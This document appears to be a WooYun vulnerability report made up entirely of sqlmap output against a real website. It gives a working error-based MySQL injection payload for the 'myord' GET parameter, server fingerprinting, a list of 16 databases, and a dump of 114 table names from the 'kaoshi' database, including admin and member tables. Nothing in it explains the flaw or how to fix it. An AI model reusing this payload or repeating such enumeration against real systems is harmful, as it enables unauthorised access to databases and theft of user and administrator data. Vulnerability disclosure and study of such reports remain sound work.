WooYun.org

Place: GET
Parameter: myord
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: key=88952634&myord=uptime AND (SELECT 5927 FROM(SELECT COUNT(*),CONCAT(0x71706e6471,(SELECT (CASE WHEN (5927=5927) THEN 1 ELSE 0 END)),0x71626c6471,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&myshownums=10
---
web server operating system: Windows
web application technology: Apache 2.2.24, PHP 5.2.17
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: myord
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: key=88952634&myord=uptime AND (SELECT 5927 FROM(SELECT COUNT(*),CONCAT(0x71706e6471,(SELECT (CASE WHEN (5927=5927) THEN 1 ELSE 0 END)),0x71626c6471,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&myshownums=10
---
web server operating system: Windows
web application technology: Apache 2.2.24, PHP 5.2.17
back-end DBMS: MySQL 5.0
available databases [16]:
[*] a3171
[*] a4060
[*] a4085
[*] ccc
[*] dede57
[*] information_schema
[*] kaoshi
[*] ks
[*] mysql
[*] paj
[*] people
[*] phpcms
[*] phpcmsv9
[*] test
[*] v7sp
[*] wdsl
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: myord
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: key=88952634&myord=uptime AND (SELECT 5927 FROM(SELECT COUNT(*),CONCAT(0x71706e6471,(SELECT (CASE WHEN (5927=5927) THEN 1 ELSE 0 END)),0x71626c6471,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&myshownums=10
---
web server operating system: Windows
web application technology: Apache 2.2.24, PHP 5.2.17
back-end DBMS: MySQL 5.0
Database: kaoshi
[114 tables]
+--------------------------+
| pwn_advs_duilian |
| pwn_advs_lb |
| pwn_advs_lbgroup |
| pwn_advs_link |
| pwn_advs_linkgroup |
| pwn_advs_logo |
| pwn_advs_movi |
| pwn_advs_pic |
| pwn_advs_pop |
| pwn_advs_text |
| pwn_base_admin |
| pwn_base_adminauth |
| pwn_base_adminmenu |
| pwn_base_adminrights |
| pwn_base_border |
| pwn_base_coltype |
| pwn_base_config |
| pwn_base_pageset |
| pwn_base_pagetemp |
| pwn_base_plus |
| pwn_base_plusdefault |
| pwn_base_plusplan |
| pwn_base_plusplanid |
| pwn_base_plustemp |
| pwn_base_version |
| pwn_comment |
| pwn_comment_cat |
| pwn_comment_config |
| pwn_down_cat |
| pwn_down_con |
| pwn_down_config |
| pwn_down_downlog |
| pwn_down_pages |
| pwn_down_pcat |
| pwn_down_proj |
| pwn_down_prop |
| pwn_exam |
| pwn_exam_err |
| pwn_exam_paper |
| pwn_exam_record |
| pwn_exam_subject |
| pwn_feedback |
| pwn_feedback_group |
| pwn_feedback_info |
| pwn_guestbook |
| pwn_guestbook_config |
| pwn_job |
| pwn_job_form |
| pwn_job_telent |
| pwn_member |
| pwn_member_buylist |
| pwn_member_cat |
| pwn_member_centlog |
| pwn_member_centrule |
| pwn_member_centset |
| pwn_member_config |
| pwn_member_defaultrights |
| pwn_member_fav |
| pwn_member_friends |
| pwn_member_group |
| pwn_member_msn |
| pwn_member_notice |
| pwn_member_nums |
| pwn_member_onlinepay |
| pwn_member_pay |
| pwn_member_paycenter |
| pwn_member_regstep |
| pwn_member_rights |
| pwn_member_secure |
| pwn_member_type |
| pwn_member_zone |
| pwn_menu |
| pwn_menu_group |
| pwn_news_cat |
| pwn_news_con |
| pwn_news_config |
| pwn_news_downlog |
| pwn_news_pages |
| pwn_news_pcat |
| pwn_news_proj |
| pwn_news_prop |
| pwn_page |
| pwn_page_group |
| pwn_photo_cat |
| pwn_photo_con |
| pwn_photo_config |
| pwn_photo_pages |
| pwn_photo_pcat |
| pwn_photo_proj |
| pwn_photo_prop |
| pwn_shop_brand |
| pwn_shop_brandcat |
| pwn_shop_cat |
| pwn_shop_con |
| pwn_shop_config |
| pwn_shop_memberprice |
| pwn_shop_order |
| pwn_shop_orderitems |
| pwn_shop_pages |
| pwn_shop_pricerule |
| pwn_shop_prop |
| pwn_shop_vcat |
| pwn_shop_yun |
| pwn_shop_yunzone |
| pwn_tools_code |
| pwn_tools_photopolldata |
| pwn_tools_photopollindex |
| pwn_tools_pollconfig |
| pwn_tools_polldata |
| pwn_tools_pollindex |
| pwn_tools_statbase |
| pwn_tools_statcome |
| pwn_tools_statcount |
| pwn_tools_statdate |
+--------------------------+